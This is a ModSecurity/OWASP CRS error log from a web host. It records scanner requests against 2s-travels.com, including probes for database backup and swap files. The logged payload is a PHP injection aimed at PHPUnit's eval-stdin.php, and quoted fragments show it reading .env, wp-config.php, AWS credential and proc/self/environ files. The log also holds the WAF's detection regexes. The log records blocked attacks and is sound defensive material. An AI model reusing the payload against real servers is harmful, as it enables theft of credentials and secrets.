[Fri Jul 17 08:55:18.573114 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/database.php.swp"] [unique_id "almgnlCBpfuYyhJ140vSpgAAAB4"]
[Fri Jul 17 08:55:18.573652 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/database.php.swp"] [unique_id "almgnlCBpfuYyhJ140vSpgAAAB4"]
[Fri Jul 17 08:55:18.573774 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.573917 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnlCBpfuYyhJ140vSpgAAAB4"]
[Fri Jul 17 08:55:18.582563 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','sites/default/settings..."] [hostname "2s-travels.com"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnoZvbo7N5o5zeYC-ZwAAABw"]
[Fri Jul 17 08:55:18.583204 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','sites/default/settings..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnoZvbo7N5o5zeYC-ZwAAABw"]
[Fri Jul 17 08:55:18.583795 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array(.env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../.aws/credential..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnoZvbo7N5o5zeYC-ZwAAABw"]
[Fri Jul 17 08:55:18.584472 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: .env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/config/database.php','application/application/application/application/extra/database.php','app/etc/env.php','sites/default/.aws/credentials','/var/www/html/.env','/var/www/html/.env.local','/var/www/html/.env...."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnoZvbo7N5o5zeYC-ZwAAABw"]
[Fri Jul 17 08:55:18.586712 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS_NAMES:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: {echo \\x22\\x5cn--- FILE $f ---\\x5cn\\x22;if(strpos($f,'environ found within ARGS_NAMES:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: strlen($c)>8){echo \\x22\\x5cn--- FILE $f ---\\x5cn\\x22;if(strpos($f,'environ')!"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/ [hostname "2s-travels.com"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnoZvbo7N5o5zeYC-ZwAAABw"]
[Fri Jul 17 08:55:18.587285 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ;foreach found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','si [hostname "2s-travels.com"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnoZvbo7N5o5zeYC-ZwAAABw"]
[Fri Jul 17 08:55:18.587421 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ;echo $c found within ARGS:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: =false)$c=str_replace(\\x22\\x5c0\\x22,\\x22\\x5cn\\x22,$c);echo $c;}}?>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnoZvbo7N5o5zeYC-ZwAAABw"]
[Fri Jul 17 08:55:18.587649 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS_NAMES:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: {echo found within ARGS_NAMES:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: strlen($c)>8){echo \\x22\\x5cn--- FILE $f ---\\x5cn\\x22;if(strpos($f,'environ')!"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-windows"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnoZvbo7N5o5zeYC-ZwAAABw"]
[Fri Jul 17 08:55:18.588111 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ;foreach found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php', [hostname "2s-travels.com"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnoZvbo7N5o5zeYC-ZwAAABw"]
[Fri Jul 17 08:55:18.588230 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ;echo found within ARGS:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: =false)$c=str_replace(\\x22\\x5c0\\x22,\\x22\\x5cn\\x22,$c);echo $c;}}?>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-windows"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnoZvbo7N5o5zeYC-ZwAAABw"]
[Fri Jul 17 08:55:18.589940 2026] [security2:error] [pid 2030803:tid 2030803] [client 20.226.66.230:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/dragon-global": Permission denied [hostname "dragon.lk"] [uri "/bless.php"] [unique_id "almgnu1pLmPpy2r_2CxfSwAAAA8"]
[Fri Jul 17 08:55:18.589979 2026] [security2:error] [pid 2030803:tid 2030803] [client 20.226.66.230:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/dragon-ip": Permission denied [hostname "dragon.lk"] [uri "/bless.php"] [unique_id "almgnu1pLmPpy2r_2CxfSwAAAA8"]
[Fri Jul 17 08:55:18.590172 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\b(?:if(?:/i)?(?: not)?(?: exist\\\\b| defined\\\\b| errorlevel\\\\b| cmdextversion\\\\b|(?: |\\\\().*(?:\\\\bgeq\\\\b|\\\\bequ\\\\b|\\\\bneq\\\\b|\\\\bleq\\\\b|\\\\bgtr\\\\b|\\\\blss\\\\b|==))|for(?:/[dflr].*)? %+[^ ]+ in\\\\(.*\\\\)\\\\s?do)" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "413"] [id "932140"] [msg "Remote Command Execution: Windows FOR/IF Command Found"] [data "Matched Data: if($c!== found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array(.env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../.aws/creden..."] [severity "CRITICAL"] [v [hostname "2s-travels.com"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnoZvbo7N5o5zeYC-ZwAAABw"]
[Fri Jul 17 08:55:18.593114 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: .env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/config/database.php application/application/application/application/extra/database.php app/etc/env.php sites/default/.aws/credentials/var/www/html/.env/var/www/html/.env.local/var/www/html/.env.production/var/www/html/.env.backup/var/ww..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2 [hostname "2s-travels.com"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnoZvbo7N5o5zeYC-ZwAAABw"]
[Fri Jul 17 08:55:18.593426 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:<\\\\?(?:[^x]|x[^m]|xm[^l]|xml[^\\\\s]|xml$|$)|<\\\\?php|\\\\[(?:\\\\/|\\\\\\\\)?php\\\\])" at ARGS_NAMES:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "66"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <?p found within ARGS_NAMES:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: <?php echo 'ahmadscan_phpunit_cf888575';$fs"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnoZvbo7N5o5zeYC-ZwAAABw"]
[Fri Jul 17 08:55:18.599626 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "file_get_contents" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: file_get_contents found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','sites/def..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/ [hostname "2s-travels.com"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnoZvbo7N5o5zeYC-ZwAAABw"]
[Fri Jul 17 08:55:18.618356 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Rule 55dbd9162368 [id "941160"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "200"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "2s-travels.com"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnoZvbo7N5o5zeYC-ZwAAABw"]
[Fri Jul 17 08:55:18.621841 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.633078 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/database.php.backup"] [unique_id "almgnkgVnBK6wAv37w6sPwAAABQ"]
[Fri Jul 17 08:55:18.633590 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/database.php.backup"] [unique_id "almgnkgVnBK6wAv37w6sPwAAABQ"]
[Fri Jul 17 08:55:18.633749 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.633948 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnkgVnBK6wAv37w6sPwAAABQ"]
